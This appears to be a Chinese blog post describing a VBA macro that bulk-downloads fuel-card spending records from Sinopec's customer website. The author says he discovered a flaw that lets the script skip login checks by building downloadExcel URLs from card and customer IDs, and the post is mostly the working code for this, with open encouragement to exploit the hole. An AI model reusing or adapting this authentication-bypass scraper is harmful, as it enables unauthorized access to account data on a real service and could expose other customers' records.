网页自动下载文件并汇总 （VBA）

 

背景：

        公司是中石化钻石用户，一个ID下有近百张加油卡（销售人员遍布全国），每月要求对所有卡的消费记录进行统计。但是中石化网站查询只能一张一张卡选择来进行查询或下载，并不提供批量下载（这种企业根本不考虑用户的感受，强烈鄙视一下）。每月需要花费1个人16个工时进行手工下载，工时极大浪费，必须进行自动化。

需求：

      通过VBA进行网站数据自动下载，并进行汇总。

目标：16小时工作任务，缩短至1分钟内完成

分析：

       通过目标网站http://www.saclub.com.cn/searchGasPumpHist.do进行分析，感觉后台通过.net自动生成查询结果，并存储为.xls文件供下载。研究了很长时间，均无法取得文件下载的真实URL。在一个偶然的情况下发现了在油卡选项列表框的最后有一条为空的选项（系统漏洞），选择此项并点击下载，会跳转到一个空页面，但是不同的是，浏览器地址栏内赫然显示出如下地址：http://www.saclub.com.cn/downloadExcel?flag=gas&startTime=2011-04-06&endTime=2011-07-06&cardId=1000111100XXXXXXXXXXX&customerId=1102000XXXXX。我们看到了通过向downloadexcel这个程序传递各项参数，就可以获得一个名为gas.xls文件，这里引去了本公司的卡号和ID部分。通过分析，我们有所启示，将各项参数进行相应的替换，就可以实现批量下载了。（最重要的一点是，这里可以绕开登录验证而直接下载数据）

 

实现：核心代码

Sub 分卡号数据存出文件()
 '目标：自动获取各卡明细数据，并进行汇总，目标1分钟以内。
 'Program: lwx,wh,wxt
 '核心代码
 Dim URL As String, unChang_Str01 As String, unChang_Str02 As String, unChang_Str03 As String, unChang_Str04 As String '地址信息中固定不变的各部分
 Dim StartTime_Str As String, endTime_Str As String, CardInfo As String, SaveTo As String '查询期间信息和分卡号信息和存放目录信息
 Dim iCardcell As Range
 Dim xPost As Object, sGet As Object, Y As Object
 
'利用中石化网站漏洞，获得油卡查询结果的下载地址的规律，可以进行地址构造----------------------------------
 unChang_Str01 = "http://www.saclub.com.cn/downloadExcel?flag=gas&startTime="                  '.net服务器端程序 DownloadExcel
 unChang_Str02 = "&endTime="
 unChang_Str03 = "&cardId="
 unChang_Str04 = "&customerId=1102000XXXXX"
 '构造出开始时间、结束时间、卡号等信息。其中customerId是通过漏洞获得----------------------------------------
 '利用此漏洞可以绕过登录验证，直接将所属客户所有油卡的信息进行下载。

 StartTime_Str = Format([Start].Value, "yyyy-mm-dd")
 endTime_Str = Format([End].Value, "yyyy-mm-dd")
 
 SaveTo = IIf(Right([Path].Value, 1) = "\", Left([Path].Value, Len([Path].Value) - 1), [Path].Value)
 
 If Dir$(SaveTo, 16) = "" Then MkDir SaveTo
 
 For Each iCardcell In Range([G2], [G65536].End(xlUp))
     
    URL = unChang_Str01 & StartTime_Str & unChang_Str02 & endTime_Str & unChang_Str03 & iCardcell.Value & unChang_Str04    '构造好URL
    
    Set xPost = CreateObject("Microsoft.XMLHTTP")             '建立一个http对象，此处方法建立，省略在引用里添加相应项
    xPost.Open "GET", URL, 0
    xPost.Send
    Set sGet = CreateObject("ADODB.Stream")                    'ADO stream 的用法。直接将返回的数据存储为excel文件。
    sGet.Mode = 3
    sGet.Type = 1
    sGet.Open
    sGet.Write (xPost.responseBody)
    sGet.SaveToFile SaveTo & "\" & iCardcell.Value & ".xls", 2
 
 Next iCardcell

end sub

总结：

    什么事儿就怕琢磨，如果网站没有漏洞的话，也无从实现，既然有咱就赶紧利用吧在编写过程中还用到了ADO STREAM。感觉很方便。

最后，强烈鄙视中石化、中石油，油价天天涨，服务越来越差。还有CSDN博客插入代码的功能真没以前那个好用。

 

以上，构造地址列表可以存成.lst文件，直接用迅雷、快车等然见下载，然后在汇总也可实现，缺点在于无法自定义存储文件名。